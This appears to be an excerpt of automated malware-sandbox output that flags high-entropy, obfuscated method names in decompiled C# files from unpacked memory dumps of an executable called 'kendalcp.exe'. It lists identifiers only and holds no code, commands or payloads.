Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, n3wbGiIdnJpVkq0Q9Dw.cs	High entropy of concatenated method names: 'ytjjH72pS7', 'lX8HaOPvBqNTDIbSFpH', 'CXt4VPPjRR0lPLWi6xY', 'Y5DY09PSReN0VZrgBPq', 'Egh1aJPxAecntv3Au9r', 'rZqKbgPmwnr7AgKpTEv', 'Fy0pGUPKxMGQxPkaNWM', 'K4B45BPOnHsBncVulVT', 'IPwYMoPcgq9BfaxaETE', 'f28'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, jKEO8D7CmsPMinuOUYu.cs	High entropy of concatenated method names: 'S85HZUEHfe', '_1kO', '_9v4', '_294', 'iibH3gmx8K', 'euj', 'pCfHxXYIgo', 'NHNHSKoXei', 'o87', 'MtGHT0KYah'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, mHGNRt7l5B4TKTiWiaG.cs	High entropy of concatenated method names: 'NcAXgx041mW83cli61V', 'x3mikZ0Q3oAqfaS0IVG', 'FaGSkr0dgZhcZnylQ87', 'LWbq3n0IfMokRjfWu0F', 'fcJglaUkFU', 'WM4', '_499', 'd45goIpiZD', 'gJegbvnP1r', 'uGIg1ryZGd'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, XKBILG33A9nmnd8Te8c.cs	High entropy of concatenated method names: 'YVbv5ET8B1', 'n0nv6hCEXa', 'FZZvYGHSUM', 'ciuvsW0CpH', 'Bx2vfi6bUS', 'YVJviCEd9n', 'CVgJauXv326BwCdvkML', 'ASvyTqXjPZTq4UZPoRv', 'Ec1XkJXSUItBqUFv623', 'NVSHlhXxpZdKw9LeQ0J'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, jAwLS03Ubibp4XgCETJ.cs	High entropy of concatenated method names: 'pllEwVy0Oq', 'GL5E0MA93o', 'NgvGUYvWU56UM2x1JUv', 'FV4TipvZ8gfuJ9T9Ifp', 'QgyhskvuI5Neib44BeK', 'F4bJsPv11YcOnddmkHp', 'FwcEAGGroE', 'm6ii35jsdPxMxWbhtvt', 'WDiIyWjyC77JAgyloRR', 'iJvGBcvJoALiCZcB1qm'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, KUlNYv3qMYNeroqHQaH.cs	High entropy of concatenated method names: 'TTXWnTdaSp', 'hOAWkB8u71', 'e2HsgGYm1aVo239KEnq', 'RGZraKYKe93kjyRjFFw', 'jld0ShYOumwInGZPNmm', 'AnfrmCYchKUjKWPDemx', 'qo8uj6YnEJ8Qukpk2GZ', 't9nbe4YgCFYCCVr9UWF', 'R69RCOYbrY0uqEGhDa7', 'hbCX0lYhk4p6tuhFQyh'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, cRM7Zv7NyOWGjUU824j.cs	High entropy of concatenated method names: 'QBrSOBOMR3', 'jU8Sh8bmue', 'tr1S5kEJK2', 'pZ2S6RjLmU', 'oybSYev9Fl', 'CarSs630My', '_838', 'vVb', 'g24', '_9oL'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, QVc7qoBt5R6Eoy7YhgW.cs	High entropy of concatenated method names: 'Tgg9nZJxyS', 'vsL9ltXZoG', 'nt89oH4XNB', 'jRR9br4gyf', 'yJH91Pu5xP', 'cJy97PfPHf', 'T889X7jhDY', 'TYx9PbF2GF', 'IbO9mIRJoJ', 'FFx9MgO9hk'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, cTD4vuyoSH273i2LgYm.cs	High entropy of concatenated method names: 'A2Hw6jrcQ7', 'DDawYmZe5T', 'G6swslwmNT', 'EyqW7cOTgJSKmMljjNq', 'Yv8re5ONMaYirxDjGOv', 'E28po3OodIygtZP6iye', 'dAZeumO9m0vmOahmpSn', 'ToIBBwORX6k7O40l1W3', 'lIItdgOEDtAjMN5ntMm', 'jtV0VlOusAqMejcuPLy'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, GSHtOTIX7n49m59cbHA.cs	High entropy of concatenated method names: '_3fO', 'YZ8', '_48A', 'G9C', 'vGoNuyrrZ4MdUCFpFdr', 'yE30YqrPbtuA2Ay2d4P', 'bf7PoUr6QDuBkDqOSgk', 'jwAxJqrF1EqwB7WEPBJ', 'OGAi2NrGMTToYlJEtOe', 'MPSJ7Crfd9otUkVUFwd'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, Dj80mSIPcmhpiCW5JSs.cs	High entropy of concatenated method names: '_6H9', 'YZ8', '_66N', 'G9C', 'V0IxMVCWoMMGrrDnRGZ', 'KWnua6CZOSpCtUyq9Jd', 'Us06bQCBftk9G9CliIS', 'ateZPCCwDaSLX4fPjaL', 'RKH7OxCJ56QxMBO6it8', 'FdDWD3Cz6NDiUvqjyto'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, cKm6rXIv7j5ptVU4KoA.cs	High entropy of concatenated method names: 'GvP', 'YZ8', 'bp6', 'G9C', 'b4F5QQ68yWFgKxyjVan', 'GaupFF6lNc9SX2FMByx', 'eGUAnR6L6XmfdYsMsRC', 'QMVao16ivTlSRMIZSHO', 'nteSoZ6pFonqDpTI0ld', 'ewX56i6AHUvnjsvjkyi'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, qw8wmqIh0NQTp2y6Zr0.cs	High entropy of concatenated method names: 'rU3', 'YZ8', 'M54', 'G9C', 'JXIKvlriMIlgYmRgOxi', 'mu5JSSrpSWeJA2mTHjW', 'rTQiYCrAX9eR46QaL9Q', 'V8bEJyr77G0l13JretZ', 'PneOojr0X26bFPeqUEm', 'd75YrSrH3FwE0gVKw1o'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, qj2G9UI8lTth7tUTjN7.cs	High entropy of concatenated method names: 'EoNvQJC21J', 'jqibBJfC4qqZbGZ3Fwq', 'QHqY5tfrL3pVvmOWEL8', 'rUSJCrf4HLFIZC6rddK', 'cF0hI9fQ2XH6MS15c8P', 'fQFEyifPKKDAZvr7xVi', '_5q7', 'YZ8', '_6kf', 'G9C'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, HnnVubIbHgqDpGahRmj.cs	High entropy of concatenated method names: 'd43', 'YZ8', 'g67', 'G9C', 'OwkSWprVeuQtuCgO3vZ', 'clp8o5rkoWb7NpnvahB', 'egDsDyr5DxlBAo4YmmN', 'E7vyfPre8Vy3oqDXG1a', 'XR2ldmrqyoCCnRSanPG', 'MLPvMcr2ieGAfKALWNx'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, bLVxeU226kHBJkVFvV.cs	High entropy of concatenated method names: '_59M', 'YZ8', '_1zA', 'G9C', 'ypxKVrI8bUCkc6raSl7', 'WuMx5QIlGFOQN5kqw84', 'pRKnGRILeB9EriDmdpD', 'oIXMiKIiq6lpJ44FBku', 'aiM7JpIpbZGpqaldgIp', 'iQ4uX3IAHJF51MIG8sw'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, y0aKJdcKZWltogk6x05.cs	High entropy of concatenated method names: '_14Y', 'b41', 'D7Y', 'xMq', 'i39', '_77u', '_4PG', '_5u8', 'h12', '_2KT'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, G65j4CckHJfIQcCGrjS.cs	High entropy of concatenated method names: 'IBlSaLAWpU', 'S2hSB2mcVQ', 'JfSSEtsOUa', 'tLHSdcOOni', 'EPUSwFO9qv', 'wE2S0yIvrm', 'T3fSC4ImMC', 'QE0SUhkFGM', 'VK6SRVX5rW', 'DgASIvb77M'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, G7aN073RuyHDptK1pJj.cs	High entropy of concatenated method names: 'K4vdS9kLAe', 'yqYYYqjRNKQPOjEOFGC', 'DsEOSSjohnuhIXGFmCG', 'rq0glOj9nDmUMcWDVXx', 'xjnxQujExnuex8rqr4U', 'HaYUApjuUL8aHfpxNZ8', 'MH0dy8AAmP', 'lMhdQEicO9', 'TnJd2FK1ue', 'xsPdeJbBW0'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, AqYLYRIr6daSi6qjgIw.cs	High entropy of concatenated method names: 'yiQ', 'YZ8', '_5li', 'G9C', 'xLsX31PsXOk7RqVg3ss', 'mvObjbPyEqfHyqGojsy', 'gcPiCIPdt8EiTfs7RBr', 'qX0pf3PIVECUcCXRrbe', 'QwZQaCP4LL2VbwVBiXA', 'rsUy3fPQ6S2D25V8r4m'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, ODS3Z0ISaNyVIaD9Jq7.cs	High entropy of concatenated method names: 'kNf', 'YZ8', 'U31', 'G9C', 'KRAAMePtSjNE72c6gRD', 'fXIf7eP84gnrKvTo4dD', 'xut9MAPlKlq3ZOdDZS6', 'xkcxhuPLmPXZgL7Q1Rp', 'NOatEePiocmFf2GCaY5', 'HQPs8QPpWxEQXMKwtXl'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, M4IDb0IRak2UAOgXUqH.cs	High entropy of concatenated method names: 'IORvZnkUje', 'saXv3KVNdm', 'ySmvxSAxuJ', 'dVbZ9jfGfILkmsBnqrM', 'mhcTG5f6lLgxaLHcgg4', 'kOj2nNfFiUeBf93DgMu', 'ubs9rEffvLKsDNrH3xY', 'PJxMvpfXdHVRpFfVyVv', 'SpSLlYf3TmwQaqdGZGC', 'k8tW2JfYdWSZjcYF1c0'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, Ar5Q1oWtq1A0b05ZTx.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'voCStrQ1chEdxQQX9kr', 'IuYMxSQWJNslIYJRt0Z', 'vEtYxEQZ3AHqEB6Zlqt', 'TJuS0jQBFgf3n58qPFL', 'XSieYbQwe1EkNqmwKju', 'jTaDFdQJoaGfTIDvimU'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, NhqDW73nXP2L2pOvPFA.cs	High entropy of concatenated method names: 'G4dBHfhpxt', 'J7ZA3OxwsUVJnVO5dBY', 'muLCU5xJi7dqv0D1qom', 'm7EdHaxZiQlsCNuyFGx', 'drJh5qxB2tbhgaKWSIy', 'fB7hJHxzrVjUkNTismZ', 'THZpbvvsuM4ZFWydJT3', 'LU7rpAvyuN04upM9iKM', 'OniAJRvdJRj2sdqDrD3', 'V8LchNvIxAe2oVhNoB4'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, Snrmidy4IQ1sNW8K2jd.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'A2Y8N8n3yPoZPT4090v', 'YHRcjunY3jM4rgPUo52', 'v3LrhNnUBSRvbcA3LVR', 'GLQEFonS2mHoe23aIAw'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, zt3dNl3hPhWZ4UeEoM3.cs	High entropy of concatenated method names: 'VOXW8sf9iR', 'B98qoEYIFG5uI4e1my6', 'OjQvqwY491ZK1EA1rl2', 'B8OGhaYygA4fMtuhMKd', 'TLo82JYdDPvxTqJvDef', 'N0ac3rYQXMgkfpGvhcm', 'iKbOs9YCWxkTOXAnmrF', 'jsJ4CFYrvuxYYoyEhZy', 'DWnel3YPJ6pasW0JVa4', 'HOLK8pY6XinM0489uVB'
Source: 3.3.kendalcp.exe.698a547.0.raw.unpack, EVc3vCIcEmn2IrnY8ww.cs	High entropy of concatenated method names: 'K55', 'YZ8', '_9yX', 'G9C', 'ThkD2iCTW2mb8sEWCK6', 'uiMuslCNg5MtBYviNyY', 'S80oo9CoChtmZO5vkOI', 'xP91pTC9BJ7Bo4yCPIY', 'bQGFqoCR2AcMoeUOyKJ', 'mq0I6TCEd28owWNQGIu'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, tyn797BCa3FXF9tcQVl.cs	High entropy of concatenated method names: 'P29', '_3xW', 'bOP', 'Th1', '_36d', 'gek9N4PfUA', 'xhq9JSHYJE', 'r8j', 'LS1', '_55S'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, sZ6D1bDafPa4jYUbEu.cs	High entropy of concatenated method names: 'kcq', 'YZ8', '_4bQ', 'G9C', 'jadewVQCXqOhBehwX5H', 'dNpX7HQr3o2E7rVmMGY', 'eoie75QPThWdV9sOrCO', 'BRlqUTQ6XBxd4v9YvQk', 'JWdTPYQFFQf2wreieN1', 'kPRWOOQGkSRHuoEgBd1'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, BIFZ1WI26txErNPP8Uo.cs	High entropy of concatenated method names: 'FhljnXM4fY', 'dUxgTTFlJWr0w22TZSx', 'h6IkBPFLjrqfXlakhBb', 'nN9BRrFt3rjmnTAGQcp', 'lf4tfKF8kviJNHexFkT', 'T75xyVFimhYOCETF6q4', '_3Xh', 'YZ8', '_123', 'G9C'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, NTWNck3vX82bml2PhuR.cs	High entropy of concatenated method names: 'yQIanhQHI2', 'YJGakZ04kN', 'E4Naz2VqHP', 'PEHBcr69PF', 'AFaBj3v5j1', 'D89BvWpBRg', 'GedBWXmP6f', 'zVqBa9nhqW', 'tHZBBqRQQ2', 'qVVhSvSW54fYhVFNlQ5'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, jlNkMHYIoRPgZvdNKL.cs	High entropy of concatenated method names: '_8Ok', 'YZ8', 'InF', 'G9C', 'AjHd69QUV6CEYOOFm1O', 'hfmJCyQSVobvBNA4Vgh', 'MssqoaQxKEELdUaTuX7', 'IkrjAUQvFL2N6tgqgeS', 'CCVxCaQjvo2BdxYtW70', 'ht3NeKQmhKG2CfG1exv'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, hdNChkcXdlhIdJUMhEb.cs	High entropy of concatenated method names: 'v4Gx2L1njX', 'kFcxe6kP90', 'OAMb7581sx8HOgLB1Vt', 'gpoht88WkOgRKrMYFkk', 'wk7yTu8ZHlNcfhHx7sa', 'vPOWLy8Bs50Qy7AXdvh', 'h07Rf58w2DHBuMvwCX0', 'A27bJo8JTlxhQ0V7rWn', 'dnVUoq8zJdRMWAFYRYY', 'r4saqAlsTjfwUWxESDm'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, OK2rg1772P8ggwTqRof.cs	High entropy of concatenated method names: 'Qkp', '_72e', 'R26', '_7w6', 'Awi', 'n73', 'cek', 'ro1', '_9j4', '_453'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, rYfWdqths3vRfQQibo.cs	High entropy of concatenated method names: 'pHw', 'YZ8', 'v2R', 'G9C', 'CIfxlrQkvJDRbcExo80', 'GZn4e6Q5UPmyjYIpcbi', 'xAsVNvQeBnc3jTx6h7C', 'JRHmHnQqju0yWSE7MfV', 'Uyh8BlQ2JbCispCGY2j', 'R1ZfAhQMkIOY71lcbsw'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, NV7SZX9yAwgZqeGyQA.cs	High entropy of concatenated method names: '_3OK', 'YZ8', '_321', 'G9C', 'hTLaa6dw6VhIeHOjQa7', 'TuyDfPdJtYnHBr1oXAa', 'B7sLygdzFoOME2bTj74', 'OV7ECYIsEikaHDfVOJp', 'qvtkDUIyt7skUkgAthf', 's8ICDSId1yTbdwPhOZ7'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, qEf5rLIApvUZluJop1Y.cs	High entropy of concatenated method names: 'p23', 'YZ8', 'Gog', 'G9C', 'jwVP7KPNDLZCwByM09c', 'JHOX6KPoiu8MDN9xORs', 'VTyaM3P9Gd2q8IoYILX', 'EM7er9PR3EA7IiYbEwa', 'V2pQyRPE9dqAQQjtMsb', 'fv1IUnPuyRlI3tgdFWh'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, mGUY7Dy8mONNhCY6kcV.cs	High entropy of concatenated method names: 'OOyPryblx0QMbWT9nSJ', 'C2XFKMbL0urQVmctwhx', 'TJWvKvbt7ahojnPK4OB', 'AMUFCAb88SgN1n2qhgV', 'IWF', 'j72', 'XeVCA24Ksa', 'NpDCpogQaU', 'j4z', 'dnTCykdUjO'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, uB6tjuyIknX8vV9Z1TV.cs	High entropy of concatenated method names: 'E31dHWDOtx', 'KA9dtEg0K2', 'mSpduSaZ3T', 'lX8dr8XXe6', 'ukhRCLjz3TD7wM2bhMt', 'OoMkaNjwcVKlnECdC4H', 'phCXfOjJUaiJMTTB2fd', 'Dqy3LXmsX9yAIJJGTc4', 'GUPPx3myTPHr7eBPY67', 'dO3eflmdaEc9ywia3d5'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, bNSEkQ3XCoGVYqqSU4I.cs	High entropy of concatenated method names: 'vIDWrJfMOg', 'cYFW467xAb', 'pfbWlKIAFc', 'cGZWoxp61f', 'kUlWbsD69F', 'fXqW15v72l', 'wBeW71IfRZ', 'WkcBCL3b6HH3kcDmb6c', 'Apqp1X3nepB6OV8skjb', 'zrn6Tf3g8rY9jPOeSWH'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, BwqDUNIY6B2YQ7GdZCQ.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'hY1FETG2oIevITxUiTr', 'bG8TtrGMpkO8LICrqDX', 'GFYJKQGDxX3AIFI2hie', 'XnDdr0GtCqQ2NcbMPmo', 'mqea2PG8odlZp8GuDxQ', 'WUhLKuGlRov9tUOLndj'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, fFNCpXBbTwaNqADGWlH.cs	High entropy of concatenated method names: 'F25RoSw20I', 'kwuRbYIqWR', 'rDBR1GLk5X', 'V1iR78r3Tl', 'XpGRXf0s4g', 'wY5aA1hJc7gocFFXBD2', 'AGCJuZhz0F4pHa8pWId', 'JOfbRrhBCDmFkDr5UxA', 'CS8BaUhwRoutERNum4q', 'z8EAunasGjA7toEMVKM'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, dqLDwy3OnGp6fabEq6f.cs	High entropy of concatenated method names: 'kp1WzayiNG', 'SWDacykelr', 'PX0aj8FygP', 'JY5avKtVmZ', 'VmJaWT1kGC', 'dnDaaA3Egr', 'vIZaBqxRZO', 'N4RaE8hNHM', 'WTOaddBgQb', 'wXfawc8QAZ'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, KGkSRTIyxyZjA2AqeIp.cs	High entropy of concatenated method names: 'R1x', 'YZ8', '_8U7', 'G9C', 'GuZ7LhCeUlaSWNqWtaL', 'o8IUBPCqS6eDYtepfRw', 'TipHcsC2YVKklTIjj6X', 'ISBAsrCMWIFvjmtMZ2P', 'rlyRL2CDUvfE8Zhtp8d', 'L2pmcgCt4pUuNFTpdya'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, sN2WlicRJG5kJKn3xBF.cs	High entropy of concatenated method names: 'bijSKOyPQl', 'bIvSVHR9BT', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'iB9SHIrygl', '_5f9', 'A6Y'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, FdP6fk73vv1k4fyS2fr.cs	High entropy of concatenated method names: 'XDvTwDBxZT', 'OLeT0Q25J9', '_8r1', 'jPbTCDA0vS', 'eI9TUmlFhK', 'T91TRbHlm0', 'bbNTIF6DvO', 'qC6TH3pSmqTF8F8fEXb', 'pyIPa0px68LLTeEvwEN', 'yLSYCnpvN3qr0PEfAKo'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, Qhutx5BWBHG5PL1PSqa.cs	High entropy of concatenated method names: 'ICU', 'j9U', 'IBK', '_6qM', 'Amn', 'Mc2', 'og6', 'z6i', '_5G6', 'r11'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, enk36GyzgdNG9TkmGtR.cs	High entropy of concatenated method names: 'M6ECKMLKAF', 'u1CCVqyofD', 'aE3CHW2LBv', 'f8mbWybApKjIAqh0yV1', 'IWSM85b7EpUIWV3HeW1', 'X2xDO2bihNvAyFMjvrr', 'YGcxwTbpXbx9ZsZW4UZ', 'GyjZpmb0QssHfeoD4VV', 'WdB8y7bHuIY3AoAr205', 'BKL7YBbTAqPJV0ry7Kr'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, eairCJBqx4dw575vcwu.cs	High entropy of concatenated method names: 'jgHIaTGrpN', 'OEQIBJ5C91', 'JxPIEOla5q', 'FXW0Snax0gS3ZZJiLvI', 'QYypgjavWFX9VcNyqdN', 'xRL9ONaUsFx3VBTGEw0', 'MvnriQaSahosKc89CSu', 'HS1PxsajkMwV1d6TxnJ', 'jRQDZcamZ7rqD6RlUgq', 'D1YvJEaKBGIgqWND8qq'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, pSF6UuphOoWoYt1RRf.cs	High entropy of concatenated method names: '_66K', 'YZ8', 'O46', 'G9C', 'XAevkW4GmbG2WLHLBWj', 'McvKLS4fb7L10PJdZMd', 'dv6YQl4XBjEOBQdMbBk', 'VYN1hb43CFlPmWNbQp9', 'wsjVRL4YuJw1w3uZtbY', 'zR42Fd4UIsFSjhqBFOu'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, H02KQ5I4h2vOeqv8S0O.cs	High entropy of concatenated method names: 'gHL', 'YZ8', 'vF9', 'G9C', 's3Mg7VPb0ZbMJHYGR1Q', 'YSAWgoPhXKswOJ9SDPj', 'MM8Q2fPaSvgnMBghUup', 'ybxn7TPVBZdQ3afdVJb', 'NVWcYaPkSGGlXvsDLMO', 'l5SIkCP5l44rPOIQ3Ej'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, JwIGru7vSlTdLkYW2RH.cs	High entropy of concatenated method names: 'thng0dRVAE', 'mrDgCCckho', 'vy5gUGMhvQ', '_3Gf', '_4XH', '_3mv', '_684', '_555', 'Z9E', 'V2RgRumj9S'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, SnBWrZJZuZjyRW2Fi5.cs	High entropy of concatenated method names: 'wutxhNfTG', 'vkISCG1H2', 'GqCTS6RNd', 'IFAgVl0i5', 'tnIKubwhc', 'a4GVIdZW0', 'yPlHYvZU4', 'ww54ojyPiSfSa58Ptbc', 'dXY43by6h6UDps0H6uX', 'IPkjW7yFuVXZFixC9hX'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, QkyrWsIo0DSOFBfdfDD.cs	High entropy of concatenated method names: '_981', 'YZ8', 'd52', 'G9C', 'PHHotJru73QgM5imWZR', 'yBSF88r1XJc7lSwCkqi', 'MjwHBKrW2bC2cOqvDKF', 'oIq9ovrZMlZjDBA1r2W', 'kKDJa7rBv1UMB6hj4hb', 'dg3WgZrwtB1Y6ajcvwX'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, XiqToayB0gLpxxfArrd.cs	High entropy of concatenated method names: 'LWBdmobL89', 'q7NdMx57JY', 'z1ldD6TPxd', 'EVCdOwjlFr', 'pgjdhk5oIw', 'pGmd5edM9W', 'quniMHm5W6f1jjtaDth', 'TbqcnAmV51iVo0eC4oL', 'n5L4RSmklHXQU480t34', 'QUVHJfmei1FkWoRQ8Fy'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, HNgEK8BOXyTAOWS4WUQ.cs	High entropy of concatenated method names: '_7zt', 'iv1IQ5OAyF', 'sUwI25DxEE', 'tGDIeDApfb', 'OClIGNbokE', 'fakIZxHMWy', 'dnNI3sWBrp', 'lva3ZQanZraN85kYnLH', 'Ffa9mKagAqfx5cnAQ7j', 'R8h2jaaO1Pi4VGWHefv'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, c40KSh7SU3XaCNork99.cs	High entropy of concatenated method names: 'IGD', 'CV5', 'l36TxCWKgj', '_3k4', 'elq', 'hlH', 'yc1', 'Y17', '_2QC', 'En1'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, rlYSy5ID3bYAmCneAN1.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'iH65C6GOdjrpxFG5m8f', 'XGE9mWGchZYJviZStBo', 'ppZKUSGnURSUZ1DgXwv', 'hOMC8XGgZ4UEc6YtD6q', 'qdBwwDGbsgjBDRqMhhC', 'J00TLGGhIv6cqf3tIMx'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, OiICZcyQUH2LOljL1cp.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 's8gPaEfy9c', 'e0GCaani6A', 'gDqPitXelf', 'iYCmEMg3opOUQo852sF', 'OvaNITgY7Lo7mBa2XZL', 'UKvfoLgUJOPHxLsGTeR', 'Ox70tVgS1UUHVTX0y8V', 'kaPQefgxqKWOr2NnXmv'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, tSjlKFyecpbQ6iy8kdJ.cs	High entropy of concatenated method names: 'IRCw4H7HJF', 'aU6wl036va', 'f8hwoNpd9c', 'CCLqKwOYpRB9U8ABUKj', 'grTjxdOXZE2riQPE3eJ', 'VCQK9IO321FJf24w9X9', 'LG7o5cOUONKJ84502uo', 'ViJwNfTeAL', 'nt1wJwiQxf', 'mOSwAkYFEh'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, WSO4fwB8ibJdxeAGGAh.cs	High entropy of concatenated method names: 'ViYNSATIlT', 'BRlNg8QR1f', 'MgONqDFx5g', 'UMfN9XVsZR', 'xd5NNxIUvk', 'bs1NJBCwZ5', 'jbuNAtuAOB', 'be6Np8sHri', 'PaONyKsK5v', 'QcMNQZK3Sp'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, fe3JbqInjVfKrPDI2kM.cs	High entropy of concatenated method names: 'XT7jiuysQ7', 'TSV05MFbiLcQHS7lBgC', 'IgGS58FhdKysxfNq1Eu', 'pVHVVCFnqGhswNmLSkk', 'gOUWFhFgojgrJgGCMV2', 'qekHEHFakdfkVFMy9AF', 'QLw', 'YZ8', 'cC5', 'G9C'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, gxPXTWyVReUbkr3NDFr.cs	High entropy of concatenated method names: 'wiD0rTGlTZ', 'Fnr04y3sUr', 'slUXM9njeTp23uiCuDE', 'Kdrw3inmVIbH3CYPY3s', 'G1wbx4nxMSkKVymxLYX', 'BDmT2bnvLWbaxZB0agJ', 'LgCNpXnKGc1sHs1m9ES', 'EatNQ8nOKL5hKE23yWB'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, PK15xI7gKbBcbrlZ1Dw.cs	High entropy of concatenated method names: 'oBXV1qFCTa', 'MZhQsl0eil8LM875rcF', 'TUHVL50q7BZ8fkevUoO', 'MBUeqR0khfFtdpNCJXj', 'obGLmr05qjvctyNxmlN', '_1fi', 'NftKsS9aag', '_676', 'IG9', 'mdP'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, bu0dAIQwR9b8lgcBB0.cs	High entropy of concatenated method names: 'P37', 'YZ8', 'b2I', 'G9C', 'ymmXls40mxWhNmeMPTC', 'VWAR2E4HwaEGdrHfNWf', 'X7il8P4TpGg4ewPfoTw', 'lHOQdu4NoPDmknwTtbw', 'QM8Tcp4owMaa9nhSbBk', 'VR4lYP49V5tNuT2kRCf'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, J5foDkyr9rkcUu1OpEv.cs	High entropy of concatenated method names: 'OM6wfPP4bn', 'PgewipS32j', 'T8swFKsqoZ', 'y0fw8JbQgr', 'NK2wLjKi3p', 'vyuLrLcC22egJRY7vej', 'GwqqE8cryajOfCU71uc', 'WwFyJac4ZFb8CZBnaKd', 'HFXKVncQJOMMOWd310G', 'GimZ7ycPwNNQVqo41Ia'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, bFhZcUTNcoKDuPTrwu.cs	High entropy of concatenated method names: 'T43', 'YZ8', '_56i', 'G9C', 'AwmWFmdG06K3061cXoO', 'WUwhYAdfyexw650umLI', 'O1FV82dXf4u8Xi97ECT', 'mocQked3Iy9SlF5D4pZ', 'C6wNvEdYPhTSRJTDGeq', 't74DfmdUi4JG7hjB2ex'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, OxIJdkyYU0dErp8Slut.cs	High entropy of concatenated method names: '_3VT', 'O5t', '_1W5', 'F3tCUfKgY3', 'MdZPIvd1Ss', 'xceCR9CFmt', 'po4PBVjnQ6', 'sOWlW2gLdNa2tu2WavS', 'MgEiZHgiQYGPGctNoul', 'NiHf8sg8veAGrauLEwp'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, pcv2SJytBxsUE4djr32.cs	High entropy of concatenated method names: '_269', '_5E7', 'buXPSr6Tlc', 'Mz8', 'kWHP5rIilE', 'MjIAYbgEXbcoJXV4KU6', 'AQMUaGguvgB3FMppxaq', 'sZLmDcg1ARjY2RW7lIe', 'jrlLqagWyCySrQOKnxO', 'VXWCcugZSmLeoHtnC00'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, gSsmgy32a8LOPSgml0F.cs	High entropy of concatenated method names: '_0023Nn', 'Dispose', 'gFmBldGJAQ', 'ekYBoCeE87', 'uHqBbgVXHR', 'jDXB1xYLxR', 'zbhB7u1yJp', 'IMr9hav6FOxLnTYbKM7', 'JgVWBKvF3LxqIT8MACW', 'vJn1jPvrrG3PMUoFMIA'
Source: 3.3.kendalcp.exe.7296547.1.raw.unpack, IHPHHJ76vjq9fHXBkIi.cs	High entropy of concatenated method names: '_159', 'rI9', '_2Cj', 'jlFgSFDdXt', 'O7qgTcTreg', 'd9Pgg5i44M', 'v2ugKx9cYj', 'PlpgVLpoIM', 'j0GgHCUOuR', 'jMmDqO7lqtfkLZsJoEo'
